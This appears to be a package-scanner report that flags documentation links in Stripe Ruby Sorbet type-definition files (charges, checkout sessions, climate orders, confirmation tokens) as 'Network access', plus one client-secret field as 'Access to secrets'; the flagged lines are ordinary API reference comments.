    # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a
  • Network accessline 2324
    sig { returns(T.nilable(T.any(String, ::Stripe::Application))) }     def application; end     # The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for de
  • Network accessline 2325
    def application; end     # The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details.     sig { returns(T.nilable(T.any(String, ::Stripe::Applicatio
  • Network accessline 2326
    # The application fee (if any) for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details.
  • Network accessline 2327
    sig { returns(T.nilable(T.any(String, ::Stripe::ApplicationFee))) }     def application_fee; end     # The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/dire
  • Network accessline 2328
    def application_fee; end     # The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details.     sig { returns(T.nilable(Intege
  • Network accessline 2329
    # The amount of the application fee (if any) requested for the charge. [See the Connect documentation](https://docs.stripe.com/connect/direct-charges#collect-fees) for details.
  • Network accessline 2348
    sig { returns(Integer) }     def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2349
    def created; end     # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).     sig { returns(String) }
  • Network accessline 2350
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2363
    sig { returns(T.nilable(T.any(String, ::Stripe::BalanceTransaction))) }     def failure_balance_transaction; end     # Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-code
  • Network accessline 2364
    def failure_balance_transaction; end     # Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-codes) for a list of codes).     sig { returns(T.nilable(String)) }
  • Network accessline 2365
    # Error code explaining reason for charge failure if available (see [the errors section](https://docs.stripe.com/error-codes) for a list of codes).
  • Network accessline 2381
    sig { returns(T::Boolean) }     def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured 
  • Network accessline 2382
    def livemode; end     # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.     sig { returns(T::Has
  • Network accessline 2383
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 2387
    sig { returns(String) }     def object; end     # The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers
  • Network accessline 2388
    def object; end     # The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.     sig { ret
  • Network accessline 2389
    # The account (if any) the charge was made on behalf of without triggering an automatic transfer. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 2390
    sig { returns(T.nilable(T.any(String, ::Stripe::Account))) }     def on_behalf_of; end     # Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details.
  • Network accessline 2391
    def on_behalf_of; end     # Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details.     sig { returns(T.nilable(Outcome)) }
  • Network accessline 2392
    # Details about whether the payment was accepted, and why. See [understanding declines](https://docs.stripe.com/declines) for details.
  • Network accessline 2408
    sig { returns(T.nilable(PresentmentDetails)) }     def presentment_details; end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 2409
    def presentment_details; end     # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.     sig { returns(T.nilable(RadarOptions)) }
  • Network accessline 2410
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 2437
    }     def source; end     # The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 2438
    def source; end     # The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.     sig { return
  • Network accessline 2439
    # The transfer ID which created this charge. Only present if the charge came from another Stripe account. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 2440
    sig { returns(T.nilable(T.any(String, ::Stripe::Transfer))) }     def source_transfer; end     # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default st
  • Network accessline 2441
    def source_transfer; end     # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including 
  • Network accessline 2442
    # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [
  • Network accessline 2445
    sig { returns(T.nilable(String)) }     def statement_descriptor; end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descripto
  • Network accessline 2446
    def statement_descriptor; end     # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete stateme
  • Network accessline 2447
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 2454
    sig { returns(T.nilable(T.any(String, ::Stripe::Transfer))) }     def transfer; end     # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://doc
  • Network accessline 2455
    def transfer; end     # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.     sig { r
  • Network accessline 2456
    # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 2457
    sig { returns(T.nilable(TransferData)) }     def transfer_data; end     # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-
  • Network accessline 2458
    def transfer_data; end     # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.     sig { returns(T.nil
  • Network accessline 2459
    # A string that identifies this transaction as part of a group. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) for details.
  • Network accessline 2462
    # Capture the payment of an existing, uncaptured charge that was created with the capture option set to false.     #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c
  • Network accessline 2463
    #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.     #
  • Network accessline 2464
    # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.
  • Network accessline 2465
    #     # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).     sig {
  • Network accessline 2466
    # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).
  • Network accessline 2472
    # Capture the payment of an existing, uncaptured charge that was created with the capture option set to false.     #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/c
  • Network accessline 2473
    #     # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.     #
  • Network accessline 2474
    # Uncaptured payments expire a set number of days after they are created ([7 by default](https://docs.stripe.com/docs/charges/placing-a-hold)), after which they are marked as refunded and capture attempts will fail.
  • Network accessline 2475
    #     # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).     sig {
  • Network accessline 2476
    # Don't use this method to capture a PaymentIntent-initiated charge. Use [Capture a PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/capture).
  • Network accessline 2482
    # This method is no longer recommended—use the [Payment Intents API](https://docs.stripe.com/docs/api/payment_intents)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/checkout/session.rbi

  • Network accessline 6
    module Checkout     # A Checkout Session represents your customer's session as they pay for     # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout)
  • Network accessline 7
    # A Checkout Session represents your customer's session as they pay for     # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout)     # or [Payment Links](https://docs.stripe.com/payments/paymen
  • Network accessline 8
    # one-time purchases or subscriptions through [Checkout](https://docs.stripe.com/payments/checkout)
  • Network accessline 9
    # or [Payment Links](https://docs.stripe.com/payments/payment-links). We recommend creating a
  • Network accessline 11
    #     # Once payment is successful, the Checkout Session will contain a reference     # to the [Customer](https://docs.stripe.com/api/customers), and either the successful
  • Network accessline 12
    # Once payment is successful, the Checkout Session will contain a reference     # to the [Customer](https://docs.stripe.com/api/customers), and either the successful     # [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an a
  • Network accessline 13
    # to the [Customer](https://docs.stripe.com/api/customers), and either the successful
  • Network accessline 14
    # [PaymentIntent](https://docs.stripe.com/api/payment_intents) or an active
  • Network accessline 15
    # [Subscription](https://docs.stripe.com/api/subscriptions).
  • Network accessline 18
    # to begin Checkout.     #     # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart)
  • Network accessline 19
    #     # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart)     class Session < APIResource
  • Network accessline 20
    # Related guide: [Checkout quickstart](https://docs.stripe.com/checkout/quickstart)
  • Network accessline 21
    class Session < APIResource       class AdaptivePricing < ::Stripe::StripeObject         # If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment
  • Network accessline 22
    class AdaptivePricing < ::Stripe::StripeObject         # If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions).  
  • Network accessline 23
    # If enabled, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions).
  • Network accessline 100
    class BrandingSettings < ::Stripe::StripeObject         class Icon < ::Stripe::StripeObject           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` 
  • Network accessline 101
    class Icon < ::Stripe::StripeObject           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise.           sig { retu
  • Network accessline 102
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 117
    end         class Logo < ::Stripe::StripeObject           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 118
    class Logo < ::Stripe::StripeObject           # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.           sig { retu
  • Network accessline 119
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 145
    sig { returns(String) }         def display_name; end         # The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-host
  • Network accessline 146
    def display_name; end         # The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility).         
  • Network accessline 147
    # The font family for the Checkout Session. Must be one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility).
  • Network accessline 167
    sig { returns(T.nilable(String)) }             def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 168
    def city; end             # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 169
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 179
    sig { returns(T.nilable(String)) }             def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 180
    def postal_code; end             # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).             sig { returns(T.nilable(String)) }
  • Network accessline 181
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 473
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 474
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 475
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 485
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 486
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 487
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 614
    sig { returns(T.nilable(Issuer)) }           def issuer; end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object
  • Network accessline 615
    def issuer; end           # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.           sig { retu
  • Network accessline 616
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1018
    sig { returns(T.nilable(String)) }           def request_overcapture; end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirement
  • Network accessline 1019
    def request_overcapture; end           # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-au
  • Network accessline 1020
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 2026
    sig { returns(Integer) }             def amount; end             # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 2027
    def amount; end             # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).             # It contains information about when the disco
  • Network accessline 2028
    # A discount represents the actual application of a [coupon](https://api.stripe.com#coupons) or [promotion code](https://api.stripe.com#promotion_codes).
  • Network accessline 2029
    # It contains information about when the discount began, when it will end, and what it is applied to.             #             # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 2030
    #             # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)             sig { returns(::Stripe::Discount) }
  • Network accessline 2031
    # Related guide: [Applying discounts to subscriptions](https://docs.stripe.com/billing/subscriptions/discounts)
  • Network accessline 2115
    end       end       # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).
  • Network accessline 2116
    end       # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).       sig { returns(T.nilable(AdaptivePricing)) }
  • Network accessline 2117
    # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).
  • Network accessline 2148
    def client_reference_id; end       # The client secret of your Checkout Session. Applies to Checkout Sessions with `ui_mode: embedded` or `ui_mode: custom`. For `ui_mode: embedded`, the client secret is to be used when initializing Stripe.j
  • Network accessline 2149
    # The client secret of your Checkout Session. Applies to Checkout Sessions with `ui_mode: embedded` or `ui_mode: custom`. For `ui_mode: embedded`, the client secret is to be used when initializing Stripe.js embedded checkout.       #  For `
  • Network accessline 2150
    #  For `ui_mode: custom`, use the client secret with [initCheckout](https://docs.stripe.com/js/custom_checkout/init) on your front end.
  • Access to secretsline 2152
    [Credential-related source omitted]
  • Network accessline 2163
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2164
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).       sig { returns(T.nilable(String)) }
  • Network accessline 2165
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2166
    sig { returns(T.nilable(String)) }       def currency; end       # Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31.
  • Network accessline 2167
    def currency; end       # Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31.       sig { returns(T.nilable(CurrencyConversion)) }
  • Network accessline 2168
    # Currency conversion details for [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing) sessions created before 2025-03-31.
  • Network accessline 2201
    sig { returns(T.nilable(T::Array[Discount])) }       def discounts; end       # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this
  • Network accessline 2202
    def discounts; end       # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Das
  • Network accessline 2203
    # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard
  • Network accessline 2225
    sig { returns(T.nilable(String)) }       def locale; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a st
  • Network accessline 2226
    def locale; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T.ni
  • Network accessline 2227
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 2243
    sig { returns(T.nilable(String)) }       def origin_context; end       # The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Check
  • Network accessline 2244
    def origin_context; end       # The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/
  • Network accessline 2245
    # The ID of the PaymentIntent for Checkout Sessions in `payment` mode. You can't confirm or cancel the PaymentIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) inst
  • Network accessline 2280
    sig { returns(T.nilable(String)) }       def recovered_from; end       # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedd
  • Network accessline 2281
    def recovered_from; end       # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults t
  • Network accessline 2282
    # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`.
  • Network accessline 2289
    sig { returns(T.nilable(SavedPaymentMethodOptions)) }       def saved_payment_method_options; end       # The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. T
  • Network accessline 2290
    def saved_payment_method_options; end       # The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.
  • Network accessline 2291
    # The ID of the SetupIntent for Checkout Sessions in `setup` mode. You can't confirm or cancel the SetupIntent for a Checkout Session. To cancel, [expire the Checkout Session](https://docs.stripe.com/api/checkout/sessions/expire) instead.
  • Network accessline 2309
    sig { returns(T.nilable(String)) }       def submit_type; end       # The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode.
  • Network accessline 2310
    def submit_type; end       # The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode.       sig { returns(T.nilable(T.any(String, ::Stripe::Subscription))) }
  • Network accessline 2311
    # The ID of the [Subscription](https://docs.stripe.com/api/subscriptions) for Checkout Sessions in `subscription` mode.
  • Network accessline 2325
    sig { returns(T.nilable(String)) }       def ui_mode; end       # The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains
  • Network accessline 2326
    def ui_mode; end       # The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains](https://docs.stripe.com/payments/checko
  • Network accessline 2327
    # The URL to the Checkout Session. Applies to Checkout Sessions with `ui_mode: hosted`. Redirect customers to this URL to take them to Checkout. If you’re using [Custom Domains](https://docs.stripe.com/payments/checkout/custom-domains), the
  • Network accessline 2374
    # Updates a Checkout Session object.       #       # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)
  • Network accessline 2375
    #       # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)       sig {
  • Network accessline 2376
    # Related guide: [Dynamically update Checkout](https://docs.stripe.com/payments/checkout/dynamic-updates)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/climate/order.rbi

  • Network accessline 65
    end       end       # Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit.
  • Network accessline 66
    end       # Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit.       sig { returns(Integer) }
  • Network accessline 67
    # Total amount of [Frontier](https://frontierclimate.com/)'s service fees in the currency's smallest unit.
  • Network accessline 92
    sig { returns(Integer) }       def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order.
  • Network accessline 93
    def created; end       # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order.       sig { returns(String) }
  • Network accessline 94
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase, representing the currency for this order.
  • Network accessline 113
    sig { returns(T::Boolean) }       def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu
  • Network accessline 114
    def livemode; end       # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.       sig { returns(T:
  • Network accessline 115
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/climate/product.rbi

  • Network accessline 35
    def delivery_year; end       # Unique identifier for the object. For convenience, Climate product IDs are human-readable strings       # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbo
  • Network accessline 36
    # Unique identifier for the object. For convenience, Climate product IDs are human-readable strings       # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory)       # 
  • Network accessline 37
    # that start with `climsku_`. See [carbon removal inventory](https://stripe.com/docs/climate/orders/carbon-removal-inventory)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/confirmation_token.rbi

  • Network accessline 9
    #   # To learn more about how to use ConfirmationToken, visit the related guides:   # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server)
  • Network accessline 10
    # To learn more about how to use ConfirmationToken, visit the related guides:   # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server)   # - [Build two-step confirmation](https://docs.stripe.
  • Network accessline 11
    # - [Finalize payments on the server](https://docs.stripe.com/payments/finalize-payments-on-the-server)
  • Network accessline 12
    # - [Build two-step confirmation](https://docs.stripe.com/payments/build-a-two-step-confirmation).
  • Network accessline 224
    sig { returns(T.nilable(String)) }           def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 225
    def city; end           # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 226
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 236
    sig { returns(T.nilable(String)) }           def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 237
    def postal_code; end           # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).           sig { returns(T.nilable(String)) }
  • Network accessline 238
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 374
    sig { returns(T.nilable(String)) }               def brand; end               # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 375
    def brand; end               # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.               sig { returns(T.nilable(String)) }
  • Network accessline 376
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 380
    sig { returns(T.nilable(Integer)) }               def capture_before; end               # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, spec
  • Network accessline 381
    def capture_before; end               # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`)
  • Network accessline 382
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 412
    sig { returns(T.nilable(String)) }               def iin; end               # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_a
  • Network accessline 413
    def iin; end               # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api
  • Network accessline 414
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 544
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 545
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 546
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 556
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 557
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 558
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 570
    sig { returns(T.nilable(String)) }               def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 571
    def city; end               # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 572
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 582
    sig { returns(T.nilable(String)) }               def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 583
    def postal_code; end               # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).               sig { returns(T.nilable(String)) }
  • Network accessline 584
